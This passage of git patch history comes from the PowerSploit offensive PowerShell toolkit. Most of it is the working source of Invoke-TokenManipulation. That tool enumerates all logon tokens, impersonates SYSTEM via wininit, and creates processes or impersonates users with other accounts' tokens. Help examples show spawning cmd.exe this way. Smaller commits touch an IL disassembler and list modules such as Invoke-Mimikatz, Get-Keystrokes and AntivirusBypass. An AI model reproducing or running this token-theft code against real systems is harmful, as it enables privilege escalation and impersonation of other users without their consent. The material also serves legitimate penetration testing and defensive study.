-ne 0) + { + $ReturnObj.IsElevated = $true + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenElevationPtr) + + + #Query the token type to determine if the token is a primary or impersonation token + $ReturnObj | Add-Member -Type NoteProperty -Name TokenType -Value "UnableToRetrieve" + + [UInt32]$TokenTypeSize = 4 + [IntPtr]$TokenTypePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenTypeSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenType, $TokenTypePtr, $TokenTypeSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode" + } + else + { + [UInt32]$TokenType = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenTypePtr, [Type][UInt32]) + switch($TokenType) + { + 1 {$ReturnObj.TokenType = "Primary"} + 2 {$ReturnObj.TokenType = "Impersonation"} + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenTypePtr) + + + #Query the impersonation level if the token is an Impersonation token + if ($ReturnObj.TokenType -ieq "Impersonation") + { + $ReturnObj | Add-Member -Type NoteProperty -Name ImpersonationLevel -Value "UnableToRetrieve" + + [UInt32]$ImpersonationLevelSize = 4 + [IntPtr]$ImpersonationLevelPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ImpersonationLevelSize) #sizeof uint32 + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenImpersonationLevel, $ImpersonationLevelPtr, $ImpersonationLevelSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode" + } + else + { + [UInt32]$ImpersonationLevel = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImpersonationLevelPtr, [Type][UInt32]) + switch ($ImpersonationLevel) + { + 0 { $ReturnObj.ImpersonationLevel = "SecurityAnonymous" } + 1 { $ReturnObj.ImpersonationLevel = "SecurityIdentification" } + 2 { $ReturnObj.ImpersonationLevel = "SecurityImpersonation" } + 3 { $ReturnObj.ImpersonationLevel = "SecurityDelegation" } + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ImpersonationLevelPtr) + } + + + #Query the token sessionid + $ReturnObj | Add-Member -Type NoteProperty -Name SessionID -Value "Unknown" + + [UInt32]$TokenSessionIdSize = 4 + [IntPtr]$TokenSessionIdPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenSessionIdSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenSessionId, $TokenSessionIdPtr, $TokenSessionIdSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode" + } + else + { + [UInt32]$TokenSessionId = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenSessionIdPtr, [Type][UInt32]) + $ReturnObj.SessionID = $TokenSessionId + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenSessionIdPtr) + + + #Query the token privileges + $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesEnabled -Value @() + $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesAvailable -Value @() + + [UInt32]$TokenPrivilegesSize = 1000 + [IntPtr]$TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivilegesSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenPrivileges, $TokenPrivilegesPtr, $TokenPrivilegesSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode" + } + else + { + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) + + #Loop through each privilege + [IntPtr]$PrivilegesBasePtr = [IntPtr](Add-SignedIntAsUnsigned $TokenPrivilegesPtr ([System.Runtime.InteropServices.Marshal]::OffsetOf([Type]$TOKEN_PRIVILEGES, "Privileges"))) + $LuidAndAttributeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) + for ($i = 0; $i -lt $TokenPrivileges.PrivilegeCount; $i++) + { + $LuidAndAttributePtr = [IntPtr](Add-SignedIntAsUnsigned $PrivilegesBasePtr ($LuidAndAttributeSize * $i)) + + $LuidAndAttribute = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributePtr, [Type]$LUID_AND_ATTRIBUTES) + + #Lookup privilege name + [UInt32]$PrivilegeNameSize = 60 + $PrivilegeNamePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PrivilegeNameSize) + $PLuid = $LuidAndAttributePtr #The Luid structure is the first object in the LuidAndAttributes structure, so a ptr to LuidAndAttributes also points to Luid + + $Success = $LookupPrivilegeNameW.Invoke([IntPtr]::Zero, $PLuid, $PrivilegeNamePtr, [Ref]$PrivilegeNameSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Call to LookupPrivilegeNameW failed. Error code: $ErrorCode. RealSize: $PrivilegeNameSize" + } + $PrivilegeName = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($PrivilegeNamePtr) + + #Get the privilege attributes + $PrivilegeStatus = "" + $Enabled = $false + + if ($LuidAndAttribute.Attributes -eq 0) + { + $Enabled = $false + } + if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) -eq $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) #enabled by default + { + $Enabled = $true + } + if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED) -eq $Win32Constants.SE_PRIVILEGE_ENABLED) #enabled + { + $Enabled = $true + } + if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_REMOVED) -eq $Win32Constants.SE_PRIVILEGE_REMOVED) #SE_PRIVILEGE_REMOVED. This should never exist. Write a warning if it is found so I can investigate why/how it was found. + { + Write-Warning "Unexpected behavior: Found a token with SE_PRIVILEGE_REMOVED. Please report this as a bug. " + } + + if ($Enabled) + { + $ReturnObj.PrivilegesEnabled += ,$PrivilegeName + } + else + { + $ReturnObj.PrivilegesAvailable += ,$PrivilegeName + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($PrivilegeNamePtr) + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) + + } + else + { + Write-Verbose "Call to LsaGetLogonSessionData succeeded. This SHOULD be SYSTEM since there is no data. $($LogonSessionData.UserName.Length)" + } + + #Free LogonSessionData + $ntstatus = $LsaFreeReturnBuffer.Invoke($LogonSessionDataPtr) + $LogonSessionDataPtr = [IntPtr]::Zero + if ($ntstatus -ne 0) + { + Write-Warning "Call to LsaFreeReturnBuffer failed. Error code: $ntstatus" + } + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) + $LuidPtr = [IntPtr]::Zero + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenStatsPtr) + $TokenStatsPtr = [IntPtr]::Zero + + return $ReturnObj + } + + + #Takes an array of TokenObjects built by the script and returns the unique ones + function Get-UniqueTokens + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [Object[]] + $AllTokens + ) + + $TokenByUser = @{} + $TokenByEnabledPriv = @{} + $TokenByAvailablePriv = @{} + + #Filter tokens by user + foreach ($Token in $AllTokens) + { + $Key = $Token.Domain + "\" + $Token.Username + if (-not $TokenByUser.ContainsKey($Key)) + { + #Filter out network logons and junk Windows accounts. This filter eliminates accounts which won't have creds because + # they are network logons (type 3) or logons for which the creds don't matter like LOCOAL SERVICE, DWM, etc.. + if ($Token.LogonType -ne 3 -and + $Token.Username -inotmatch "^DWM-\d+$" -and + $Token.Username -inotmatch "^LOCAL\sSERVICE$") + { + $TokenByUser.Add($Key, $Token) + } + } + else + { + #If Tokens have equal elevation levels, compare their privileges. + if($Token.IsElevated -eq $TokenByUser[$Key].IsElevated) + { + if (($Token.PrivilegesEnabled.Count + $Token.PrivilegesAvailable.Count) -gt ($TokenByUser[$Key].PrivilegesEnabled.Count + $TokenByUser[$Key].PrivilegesAvailable.Count)) + { + $TokenByUser[$Key] = $Token + } + } + #If the new token is elevated and the current token isn't, use the new token + elseif (($Token.IsElevated -eq $true) -and ($TokenByUser[$Key].IsElevated -eq $false)) + { + $TokenByUser[$Key] = $Token + } + } + } + + #Filter tokens by privilege + foreach ($Token in $AllTokens) + { + $Fullname = "$($Token.Domain)\$($Token.Username)" + + #Filter currently enabled privileges + foreach ($Privilege in $Token.PrivilegesEnabled) + { + if ($TokenByEnabledPriv.ContainsKey($Privilege)) + { + if($TokenByEnabledPriv[$Privilege] -notcontains $Fullname) + { + $TokenByEnabledPriv[$Privilege] += ,$Fullname + } + } + else + { + $TokenByEnabledPriv.Add($Privilege, @($Fullname)) + } + } + + #Filter currently available (but not enable) privileges + foreach ($Privilege in $Token.PrivilegesAvailable) + { + if ($TokenByAvailablePriv.ContainsKey($Privilege)) + { + if($TokenByAvailablePriv[$Privilege] -notcontains $Fullname) + { + $TokenByAvailablePriv[$Privilege] += ,$Fullname + } + } + else + { + $TokenByAvailablePriv.Add($Privilege, @($Fullname)) + } + } + } + + $ReturnDict = @{ + TokenByUser = $TokenByUser + TokenByEnabledPriv = $TokenByEnabledPriv + TokenByAvailablePriv = $TokenByAvailablePriv + } + + return (New-Object PSObject -Property $ReturnDict) + } + + + function Invoke-ImpersonateUser + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken + ) + + #Duplicate the token so it can be used to create a new process + [IntPtr]$NewHToken = [IntPtr]::Zero + $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) #todo does this need to be freed + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" + } + else + { + $Success = $ImpersonateLoggedOnUser.Invoke($NewHToken) + if (-not $Success) + { + $Errorcode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to ImpersonateLoggedOnUser. Error code: $Errorcode" + } + } + + $Success = $CloseHandle.Invoke($NewHToken) + $NewHToken = [IntPtr]::Zero + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" + } + + return $Success + } + + + function Create-ProcessWithToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken, + + [Parameter(Position=1, Mandatory=$true)] + [String] + $ProcessName, + + [Parameter(Position=2)] + [String] + $ProcessArgs + ) + + #Duplicate the token so it can be used to create a new process + [IntPtr]$NewHToken = [IntPtr]::Zero + $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" + } + else + { + $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO) + [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize) + $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null + [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct + + $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION) + [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize) + + $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ProcessName) + $ProcessArgsPtr = [IntPtr]::Zero + if (-not [String]::IsNullOrEmpty($ProcessArgs)) + { + $ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ProcessArgs) + } + + $Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) + if ($Success) + { + #Free the handles returned in the ProcessInfo structure + $ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION) + $CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null + $CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null + } + else + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CreateProcessWithTokenW failed. Error code: $ErrorCode" + } + + #Free StartupInfo memory and ProcessInfo memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr) + $StartupInfoPtr = [Intptr]::Zero + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr) + $ProcessInfoPtr = [IntPtr]::Zero + [System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr) + $ProcessNamePtr = [IntPtr]::Zero + + #Close handle for the token duplicated with DuplicateTokenEx + $Success = $CloseHandle.Invoke($NewHToken) + $NewHToken = [IntPtr]::Zero + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" + } + } + } + + + function Free-AllTokens + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [PSObject[]] + $TokenInfoObjs + ) + + foreach ($Obj in $TokenInfoObjs) + { + $Success = $CloseHandle.Invoke($Obj.hToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Verbose "Failed to close token handle in Free-AllTokens. ErrorCode: $ErrorCode" + } + $Obj.hToken = [IntPtr]::Zero + } + } + + + #Enumerate all tokens on the system. Returns an array of objects with the token and information about the token. + function Enum-AllTokens + { + $AllTokens = @() + + if ([Environment]::UserName -ine "SYSTEM") + { + #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. + $systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id + if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken))) + { + Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens" + } + + if ($systemTokenInfo -ne $null -and $systemTokenInfo.hProcToken -ne [IntPtr]::Zero) + { + $CloseHandle.Invoke($systemTokenInfo.hProcToken) | Out-Null + $systemTokenInfo = $null + } + } + + $ProcessIds = get-process | where {$_.name -inotmatch "^csrss$" -and $_.name -inotmatch "^system$" -and $_.id -ne 0} + + #Get all tokens + foreach ($Process in $ProcessIds) + { + $PrimaryTokenInfo = (Get-PrimaryToken -ProcessId $Process.Id -FullPrivs) + + #If a process is a protected process, it's primary token cannot be obtained. Don't try to enumerate it. + if ($PrimaryTokenInfo -ne $null) + { + [IntPtr]$hToken = [IntPtr]$PrimaryTokenInfo.hProcToken + + if ($hToken -ne [IntPtr]::Zero) + { + #Get the LUID corrosponding to the logon + $ReturnObj = Get-TokenInformation -hToken $hToken + if ($ReturnObj -ne $null) + { + $ReturnObj | Add-Member -MemberType NoteProperty -Name ProcessId -Value $Process.Id + + $AllTokens += $ReturnObj + } + } + else + { + Write-Warning "Couldn't retrieve token for Process: $($Process.Name). ProcessId: $($Process.Id)" + } + + foreach ($Thread in $Process.Threads) + { + $ThreadTokenInfo = Get-ThreadToken -ThreadId $Thread.Id + [IntPtr]$hToken = ($ThreadTokenInfo.hThreadToken) + + if ($hToken -ne [IntPtr]::Zero) + { + $ReturnObj = Get-TokenInformation -hToken $hToken + if ($ReturnObj -ne $null) + { + $ReturnObj | Add-Member -MemberType NoteProperty -Name ThreadId -Value $Thread.Id + + $AllTokens += $ReturnObj + } + } + } + } + } + + return $AllTokens + } + + + function Invoke-RevertToSelf + { + Param( + [Parameter(Position=0)] + [Switch] + $ShowOutput + ) + + $Success = $RevertToSelf.Invoke() + + if ($ShowOutput) + { + if ($Success) + { + Write-Output "RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + else + { + Write-Output "RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + } + } + + + #Main function + function Main + { + if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) + { + Write-Error "Script must be run as administrator" -ErrorAction Stop + } + + $OriginalUser = [Environment]::UserName + + if ($PsCmdlet.ParameterSetName -ieq "RevToSelf") + { + Invoke-RevertToSelf -ShowOutput + } + elseif ($PsCmdlet.ParameterSetName -ieq "CreateProcess" -or $PsCmdlet.ParameterSetName -ieq "ImpersonateUser") + { + $AllTokens = Enum-AllTokens + + #Select the token to use + [IntPtr]$hToken = [IntPtr]::Zero + $UniqueTokens = (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser + if ($Username -ne $null -and $Username -ne '') + { + if ($UniqueTokens.ContainsKey($Username)) + { + $hToken = $UniqueTokens[$Username].hToken + Write-Verbose "Selecting token by username" + } + else + { + Write-Error "A token belonging to the specified username was not found. Username: $($Username)" -ErrorAction Stop + } + } + elseif ( $ProcessId -ne $null -and $ProcessId -ne 0) + { + foreach ($Token in $AllTokens) + { + if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $ProcessId) + { + $hToken = $Token.hToken + Write-Verbose "Selecting token by ProcessID" + } + } + + if ($hToken -eq [IntPtr]::Zero) + { + Write-Error "A token belonging to ProcessId $($ProcessId) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop + } + } + elseif ($ThreadId -ne $null -and $ThreadId -ne 0) + { + foreach ($Token in $AllTokens) + { + if (($Token | Get-Member ThreadId) -and $Token.ThreadId -eq $ThreadId) + { + $hToken = $Token.hToken + Write-Verbose "Selecting token by ThreadId" + } + } + + if ($hToken -eq [IntPtr]::Zero) + { + Write-Error "A token belonging to ThreadId $($ThreadId) could not be found. Either the thread doesn't exist or the thread is in a protected process and cannot be opened." -ErrorAction Stop + } + } + elseif ($Process -ne $null) + { + foreach ($Token in $AllTokens) + { + if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $Process.Id) + { + $hToken = $Token.hToken + Write-Verbose "Selecting token by Process object" + } + } + + if ($hToken -eq [IntPtr]::Zero) + { + Write-Error "A token belonging to Process $($Process.Name) ProcessId $($Process.Id) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop + } + } + else + { + Write-Error "Must supply a Username, ProcessId, ThreadId, or Process object" -ErrorAction Stop + } + + #Use the token for the selected action + if ($PsCmdlet.ParameterSetName -ieq "CreateProcess") + { + if (-not $NoUI) + { + Set-DesktopACLs + } + + Create-ProcessWithToken -hToken $hToken -ProcessName $CreateProcess -ProcessArgs $ProcessArgs + + if ($OriginalUser -ine "SYSTEM") + { + Invoke-RevertToSelf + } + } + elseif ($ImpersonateUser) + { + Invoke-ImpersonateUser -hToken $hToken | Out-Null + Write-Output "Running As: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + + Free-AllTokens -TokenInfoObjs $AllTokens + } + elseif ($PsCmdlet.ParameterSetName -ieq "WhoAmI") + { + Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" + } + else #Enumerate tokens + { + $AllTokens = Enum-AllTokens + + if ($PsCmdlet.ParameterSetName -ieq "ShowAll") + { + Write-Output $AllTokens + } + else + { + Write-Output (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser.Values + } + + if ($OriginalUser -ine "SYSTEM") + { + Invoke-RevertToSelf + } + + Free-AllTokens -TokenInfoObjs $AllTokens + } + } + + + #Start the main function + Main +} + From 22f232920bd25f01f8e6a4d99bbcbfca1a8cd041 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Mon, 4 Nov 2013 05:51:33 -0500 Subject: [PATCH 032/382] Added Invoke-TokenManipulation to README.md --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index 4fa1064b..bc96a244 100644 --- a/README.md +++ b/README.md @@ -144,6 +144,10 @@ Locates single Byte AV signatures utilizing the same method as DSplit from "clas **All your data belong to me!** +#### `Invoke-TokenManipulation` + +Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. + #### `Invoke-NinjaCopy` Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. From 5af0589e8f97aa49aef6bd083a00a4689c7553aa Mon Sep 17 00:00:00 2001 From: clymb3r Date: Mon, 4 Nov 2013 08:19:28 -0800 Subject: [PATCH 033/382] Updated Invoke-TokenManipulation help --- Exfiltration/Invoke-TokenManipulation.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1 index affbc206..c692299e 100644 --- a/Exfiltration/Invoke-TokenManipulation.ps1 +++ b/Exfiltration/Invoke-TokenManipulation.ps1 @@ -140,13 +140,13 @@ Spawns cmd.exe using the token belonging to thread ID 500. .EXAMPLE -Get-Process lsass | Token-TokenManipulation -CreateProcess "cmd.exe" +Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" Spawns cmd.exe using the primary token of LSASS.exe. This pipes the output of Get-Process to the "-Process" parameter of the script. .EXAMPLE -Get-Process lsass | Token-TokenManipulation -ImpersonateUser +Get-Process wininit | Invoke-TokenManipulation -ImpersonateUser Makes the current thread impersonate the lsass security token. From 5b4b9924d5a016af996ffac91a975b9822651451 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Thu, 7 Nov 2013 07:28:53 -0500 Subject: [PATCH 034/382] Get-ILDisassembly now displays metadata tokens. * Having metadata tokens displayed in output helps with reverse engineering because you can pass metadata tokens to System.Reflection.Module.ResolveMember and then easily interact with the member in question. * I also fixed a bug when displaying integer constants. I wasn't doing an endian swap. --- ReverseEngineering/Get-ILDisassembly.format.ps1xml | 6 ++++++ ReverseEngineering/Get-ILDisassembly.ps1 | 4 +++- 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/ReverseEngineering/Get-ILDisassembly.format.ps1xml b/ReverseEngineering/Get-ILDisassembly.format.ps1xml index f933e1e9..3c610ccc 100644 --- a/ReverseEngineering/Get-ILDisassembly.format.ps1xml +++ b/ReverseEngineering/Get-ILDisassembly.format.ps1xml @@ -18,6 +18,9 @@ + + + @@ -31,6 +34,9 @@ Operand + + if ($_.MetadataToken) {"0x$($_.MetadataToken.ToString('X8'))"} + diff --git a/ReverseEngineering/Get-ILDisassembly.ps1 b/ReverseEngineering/Get-ILDisassembly.ps1 index 645dc394..b7293e0f 100644 --- a/ReverseEngineering/Get-ILDisassembly.ps1 +++ b/ReverseEngineering/Get-ILDisassembly.ps1 @@ -131,6 +131,7 @@ http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-335.pdf $Type = $Op.OperandType $Operand = $null + $OpInt = $null if ($Type -eq 'InlineNone') { $OperandLength = 0 @@ -191,13 +192,14 @@ http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-335.pdf if (($OperandLength -gt 0) -and ($OperandLength -ne 4) -and ($Type -ne 'InlineSwitch') -and ($Type -ne 'ShortInlineBrTarget')) { # Simply print the hex for all operands with immediate values - $Operand = "0x{0}" -f (($IL[$Position..($Position+$OperandLength-1)] | ForEach-Object { $_.ToString('X2') }) -join '') + $Operand = "0x{0}" -f (($IL[($Position+$OperandLength-1)..$Position] | ForEach-Object { $_.ToString('X2') }) -join '') } $Instruction = @{ Position = $InstructionPostion Instruction = $Op.Name Operand = $Operand + MetadataToken = $OpInt } # Return a custom object containing a position, instruction, and fully-qualified operand From 306a84fe81ef6a1d252eec4e0a9422480c6c52df Mon Sep 17 00:00:00 2001 From: mattifestation Date: Thu, 7 Nov 2013 08:04:16 -0500 Subject: [PATCH 035/382] Get-ILDisassembly now accepts ConstructorInfo objects --- ReverseEngineering/Get-ILDisassembly.ps1 | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/ReverseEngineering/Get-ILDisassembly.ps1 b/ReverseEngineering/Get-ILDisassembly.ps1 index b7293e0f..af0c2a16 100644 --- a/ReverseEngineering/Get-ILDisassembly.ps1 +++ b/ReverseEngineering/Get-ILDisassembly.ps1 @@ -68,9 +68,9 @@ Disassembles the System.Array.BinarySearch(Array, Object) method .INPUTS -System.Reflection.MethodInfo +System.Reflection.MethodInfo, System.Reflection.ConstructorInfo -The method description containing the raw IL bytecodes. +A method or constructor description containing the raw IL bytecodes. .OUTPUTS @@ -88,7 +88,8 @@ http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-335.pdf Param ( [Parameter(Mandatory = $True, ValueFromPipeline = $True)] - [System.Reflection.MethodInfo] + [ValidateScript({$_ -is [Reflection.MethodInfo] -or $_ -is [Reflection.ConstructorInfo]})] + [Object] $MethodInfo ) From 237d362acff8ef134f0ccc9150e6b6ab8a25e768 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Wed, 13 Nov 2013 21:01:02 -0500 Subject: [PATCH 036/382] Normalized all scripts to ASCII encoding --- AntivirusBypass/AntivirusBypass.psd1 | 4 ++-- AntivirusBypass/AntivirusBypass.psm1 | 2 +- AntivirusBypass/Find-AVSignature.ps1 | 2 +- CodeExecution/CodeExecution.psd1 | 4 ++-- CodeExecution/CodeExecution.psm1 | 2 +- CodeExecution/Invoke-DllInjection.ps1 | 2 +- .../Invoke-ReflectivePEInjection.ps1 | 2 +- CodeExecution/Invoke-ShellcodeMSIL.ps1 | 4 ++-- CodeExecution/Watch-BlueScreen.ps1 | 6 +++--- Exfiltration/Exfiltration.psd1 | 4 ++-- Exfiltration/Exfiltration.psm1 | 2 +- Exfiltration/Get-GPPPassword.ps1 | 2 +- Exfiltration/Get-Keystrokes.ps1 | 4 ++-- Exfiltration/Get-TimedScreenshot.ps1 | 2 +- Exfiltration/Invoke-Mimikatz.ps1 | 2 +- Exfiltration/Invoke-NinjaCopy.ps1 | 2 +- Exfiltration/Invoke-TokenManipulation.ps1 | 2 +- Exfiltration/Out-Minidump.ps1 | 4 ++-- PETools/Get-LibSymbols.format.ps1xml | 4 ++-- PETools/Get-LibSymbols.ps1 | 4 ++-- PETools/Get-ObjDump.format.ps1xml | 4 ++-- PETools/Get-ObjDump.ps1 | 4 ++-- PETools/Get-PEHeader.ps1 | 2 +- PETools/PETools.format.ps1xml | 2 +- PETools/PETools.psd1 | 4 ++-- PETools/PETools.psm1 | 2 +- Persistence/Add-Persistence.ps1 | 4 ++-- .../New-ElevatedPersistenceOptions.ps1 | 4 ++-- Persistence/New-UserPersistenceOptions.ps1 | 4 ++-- Persistence/Persistence.psd1 | 4 ++-- Persistence/Persistence.psm1 | 4 ++-- PowerSploit.psd1 | 4 ++-- PowerSploit.psm1 | 2 +- Recon/Get-HttpStatus.ps1 | 2 +- Recon/Invoke-Portscan.ps1 | 2 +- Recon/Recon.psd1 | 8 ++++---- Recon/Recon.psm1 | 2 +- ReverseEngineering/ConvertTo-String.ps1 | 4 ++-- .../Get-ILDisassembly.format.ps1xml | 4 ++-- ReverseEngineering/Get-ILDisassembly.ps1 | 2 +- ReverseEngineering/Get-MethodAddress.ps1 | 4 ++-- .../Get-NtSystemInformation.format.ps1xml | 2 +- .../Get-NtSystemInformation.ps1 | 2 +- ReverseEngineering/Get-PEB.format.ps1xml | 2 +- ReverseEngineering/Get-PEB.ps1 | 4 ++-- ReverseEngineering/Get-Strings.ps1 | 4 ++-- ReverseEngineering/Get-StructFromMemory.ps1 | 4 ++-- ReverseEngineering/New-Object.ps1 | Bin 4376 -> 2189 bytes .../ProcessModuleTrace.format.ps1xml | 4 ++-- ReverseEngineering/ProcessModuleTrace.ps1 | 4 ++-- ReverseEngineering/ReverseEngineering.psd1 | 2 +- ReverseEngineering/ReverseEngineering.psm1 | 2 +- ScriptModification/Out-CompressedDll.ps1 | 4 ++-- ScriptModification/Out-EncodedCommand.ps1 | 4 ++-- ScriptModification/Out-EncryptedScript.ps1 | 2 +- ScriptModification/Remove-Comments.ps1 | 4 ++-- ScriptModification/ScriptModification.psd1 | 4 ++-- ScriptModification/ScriptModification.psm1 | 2 +- 58 files changed, 91 insertions(+), 91 deletions(-) diff --git a/AntivirusBypass/AntivirusBypass.psd1 b/AntivirusBypass/AntivirusBypass.psd1 index ab2918b7..29949c1c 100644 --- a/AntivirusBypass/AntivirusBypass.psd1 +++ b/AntivirusBypass/AntivirusBypass.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'AntivirusBypass.psm1' @@ -84,4 +84,4 